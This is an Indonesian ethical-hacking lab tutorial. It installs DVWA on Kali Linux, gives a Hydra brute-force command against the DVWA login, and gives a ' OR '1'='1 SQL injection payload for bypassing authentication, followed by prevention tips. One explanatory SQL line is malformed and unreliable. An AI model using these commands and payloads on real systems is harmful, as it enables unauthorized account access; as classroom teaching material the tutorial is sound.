Hands-on: Password Cracking dan Authentication Bypass
Berikut adalah penjelasan lengkap dengan contoh menggunakan **KALI Linux 2024.3** untuk menyerang **DVWA** (Damn Vulnerable Web Application) dengan fokus pada **Password Cracking** dan **Authentication Bypass** untuk keperluan kuliah ethical hacking.
- 1. **Setup DVWA di Kali Linux 2024.3**
Sebelum memulai eksploitasi, pastikan DVWA sudah terinstal dan dijalankan di Kali Linux. Berikut adalah langkah-langkah untuk setup:
```bash sudo apt update sudo apt install apache2 mysql-server php php-mysqli php-gd libapache2-mod-php git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa cd /var/www/html/dvwa sudo cp config/config.inc.php.dist config/config.inc.php sudo service apache2 start sudo service mysql start ```
Setelah itu, buat database untuk DVWA:
```bash mysql -u root -p CREATE DATABASE dvwa; GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost' IDENTIFIED BY 'password'; FLUSH PRIVILEGES; EXIT; ```
Terakhir, buka browser dan akses DVWA melalui `http://localhost/dvwa`, kemudian login dengan username `admin` dan password `password`. Pastikan security level DVWA diatur ke **Low** di menu **DVWA Security**.
- 2. **Password Cracking (Brute Force)**
Untuk cracking password pada DVWA, kita akan menggunakan teknik brute force dengan bantuan **Hydra**, yang merupakan tool di Kali Linux.
- Langkah 1: Identifikasi Form Login
Buka halaman login DVWA di browser dan lihat elemen-elemen HTML yang relevan. Misalnya, form login mungkin memiliki parameter berikut: - **username**: input username - **password**: input password - **Login**: tombol untuk mengirimkan request
- Langkah 2: Menjalankan Hydra untuk Brute Force
Dalam contoh ini, kita akan menggunakan daftar kata (wordlist) untuk mencoba menebak password. Hydra mendukung serangan brute force dengan memanfaatkan berbagai metode seperti form login POST.
Berikut contoh perintah Hydra untuk brute force:
```bash hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" ```
- `-l admin`: mencoba username `admin`. - `-P /usr/share/wordlists/rockyou.txt`: file wordlist untuk mencoba berbagai password. - `http-post-form`: format untuk mengirimkan form POST. - `/dvwa/login.php`: path ke form login. - `username=^USER^&password=^PASS^&Login=Login`: parameter POST di form login. - `Login failed`: string yang muncul saat login gagal.
Jika password ditemukan, Hydra akan menampilkan output dengan password yang benar.
- Output Contoh:
``` [80][http-post-form] host: 127.0.0.1 login: admin password: 123456 ```
- 3. **Authentication Bypass (SQL Injection)**
SQL Injection adalah teknik yang memanfaatkan kelemahan dalam query SQL yang digunakan aplikasi web. Dalam kasus authentication bypass, kita bisa menyuntikkan query SQL ke dalam form login untuk mengakses akun tanpa mengetahui password.
- Langkah 1: Mengidentifikasi SQL Injection di Form Login
Buka halaman login DVWA dan masukkan payload berikut di kolom **username** dan **password**:
- **Username**: `' OR '1'='1` - **Password**: `' OR '1'='1`
Payload ini mengeksploitasi kelemahan query SQL di backend dengan menambahkan kondisi `'1'='1`, yang selalu benar, sehingga bypass authentication terjadi.
- Langkah 2: Proses Eksploitasi
Setelah memasukkan payload di atas, klik **Login**. Jika aplikasi rentan terhadap SQL Injection, Anda akan berhasil login sebagai administrator atau pengguna lain tanpa memasukkan password yang benar.
- Penjelasan SQL Injection
Di backend, query SQL yang biasanya digunakan adalah:
```sql SELECT * FROM users WHERE username = 'input_username' AND password = 'input_password'; ```
Dengan payload `' OR '1'='1`, query menjadi:
```sql SELECT * FROM users WHERE username = OR '1'='1' AND password = OR '1'='1'; ```
Karena `'1'='1'` selalu bernilai benar, query ini akan mengembalikan semua record dari tabel `users`, dan aplikasi menganggap login berhasil.
- 4. **Langkah Pencegahan**
Untuk mencegah serangan password cracking dan SQL injection, langkah-langkah yang bisa diambil adalah: - **Menggunakan password yang kuat dan mengimplementasikan rate-limiting** pada login untuk mencegah brute force. - **Menggunakan prepared statements (parameterized queries)** untuk menghindari SQL Injection. - Menyaring input dari pengguna dan melakukan validasi.
Dengan menggunakan teknik ini di kelas ethical hacking, siswa dapat belajar bagaimana penyerang dapat memanfaatkan celah keamanan dan bagaimana untuk melindungi sistem dari serangan tersebut.